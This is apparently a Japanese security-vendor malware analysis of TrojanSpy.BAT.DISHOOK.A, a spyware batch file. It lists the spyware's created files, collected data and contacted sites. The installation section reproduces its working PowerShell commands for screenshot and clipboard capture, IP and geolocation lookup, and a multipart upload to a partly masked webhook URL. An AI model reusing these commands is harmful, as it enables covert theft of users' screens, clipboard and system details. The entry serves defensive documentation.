• Email
• Facebook
• Twitter
• Google+
• Linkedin

TrojanSpy.BAT.DISHOOK.A

---

• マルウェアタイプ: スパイウェア/情報窃取型
• 破壊活動の有無: なし
• 暗号化: なし
• 感染報告の有無: はい

---

  概要

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

スパイウェアは、ワーム活動の機能を備えていません。

スパイウェアは、特定のWebサイトにアクセスし、情報を送受信します。 スパイウェアは、バックドア活動の機能を備えていません。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

---

  詳細

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下のファイルを作成します。

• %User Temp%\screenshot.png → captured screenshot
• %User Temp%\clipboard_history.txt → clipboard content
• %User Temp%\tmp_geo.json → deleted afterwards

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。)

スパイウェアは、以下のプロセスを追加します。

• reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "RegisteredOwner"
• powershell -command "(Invoke-WebRequest -Uri 'https://{BLOCKED}-api.com ').Content"
• powershell -NoProfile -Command "(Get-Content '%User Temp%\tmp_geo.json' | ConvertFrom-Json).country"
• curl -s "https://{BLOCKED}-api.com /json/{public ip address}" > "%temp%\tmp_geo.json"
• powershell -Command "try { Get-Clipboard -Raw } catch { '' }"
• powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing;" "$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds;" "$bmp = New-Object Drawing.Bitmap $bounds.Width, $bounds.Height;" "$graphics = [Drawing.Graphics]::FromImage($bmp);" "$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.Size);" "$bmp.Save('%User Temp%\screenshot.png', [Drawing.Imaging.ImageFormat]::Png);"
• powershell -NoProfile -Command "$webhookUrl = 'https://{BLOCKED}d.com/api/webhooks/1393566442842226800/eDTSlOpqEFMYJqCGMgWD7lCqzk1theJLOgIB0Rv2nwyzDx-WvPoNnFTcr5BDnHXBOuu0 ';" "$screenshotPath = '%User Temp%\screenshot.png';" "$clipboardPath = '%User Temp%\clipboard_history.txt';" "$payload = @{embeds = @(@{title='System Information'; color=3447003; fields=@(" "@{name='IP Address'; value=''; inline=$false}," "@{name='Country'; value=''; inline=$false}," "@{name='Registered Owner'; value='{username} '; inline=$false}," "@{name='Computer Name'; value='{hostname}'; inline=$false}," "@{name='Clipboard History'; value='See attached clipboard_history.txt'; inline=$false}" "); image=@{url='attachment://screenshot.png'}})};" "$json = $payload | ConvertTo-Json -Depth 6;" "$boundary = [System.Guid]::NewGuid().ToString();" "$LF = \"`r`n\";" "$body = New-Object System.IO.MemoryStream;" "$writer = New-Object System.IO.StreamWriter($body);" "$writer.Write(\"--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"payload_json\"' + \"$LF\");" "$writer.Write('Content-Type: application/json' + \"$LF$LF\");" "$writer.Write($json + \"$LF\");" "$writer.Write(\"--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"file1\"; filename=\"screenshot.png\"' + \"$LF\");" "$writer.Write('Content-Type: image/png' + \"$LF$LF\");" "$writer.Flush();" "$fileBytes = [System.IO.File]::ReadAllBytes($screenshotPath);" "$body.Write($fileBytes, 0, $fileBytes.Length);" "$writer.Write(\"$LF--$boundary$LF\");" "$writer.Write('Content-Disposition: form-data; name=\"file2\"; filename=\"clipboard_history.txt\"' + \"$LF\");" "$writer.Write('Content-Type: text/plain; charset=utf-8' + \"$LF$LF\");" "$writer.Flush();" "$clipBytes = [System.IO.File]::ReadAllBytes($clipboardPath);" "$body.Write($clipBytes, 0, $clipBytes.Length);" "$writer.Write(\"$LF--$boundary--$LF\");" "$writer.Flush();" "$body.Position = 0;" "$headers = @{ 'Content-Type' = \"multipart/form-data; boundary=$boundary\" };" "Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $body -Headers $headers"

感染活動

スパイウェアは、ワーム活動の機能を備えていません。

バックドア活動

スパイウェアは、以下のWebサイトにアクセスし、情報を送受信します。

• https://{BLOCKED}d.com/api/webhooks/1393566442842226800/eDTSlOpqEFMYJqCGMgWD7lCqzk1theJLOgIB0Rv2nwyzDx-WvPoNnFTcr5BDnHXBOuu0

スパイウェアは、バックドア活動の機能を備えていません。

ルートキット機能

スパイウェアは、ルートキット機能を備えていません。

情報漏えい

スパイウェアは、以下の情報を収集します。

• Screenshot
• Clipboard History
• Public IP Address
• Windows Registered Owner
• Hostname
• Geolocation
• System GUID

その他

スパイウェアは、以下のWebサイトにアクセスして感染コンピュータのIPアドレスを収集します。

• https://{BLOCKED}ify.org
• https://{BLOCKED}-api.com

スパイウェアは、以下を実行します。

• It captures the screenshot of the system and saves it to a file.

ただし、情報公開日現在、このWebサイトにはアクセスできません。

マルウェアは、脆弱性を利用した感染活動を行いません。

---

  対応方法

ご利用はいかがでしたか？　アンケートにご協力ください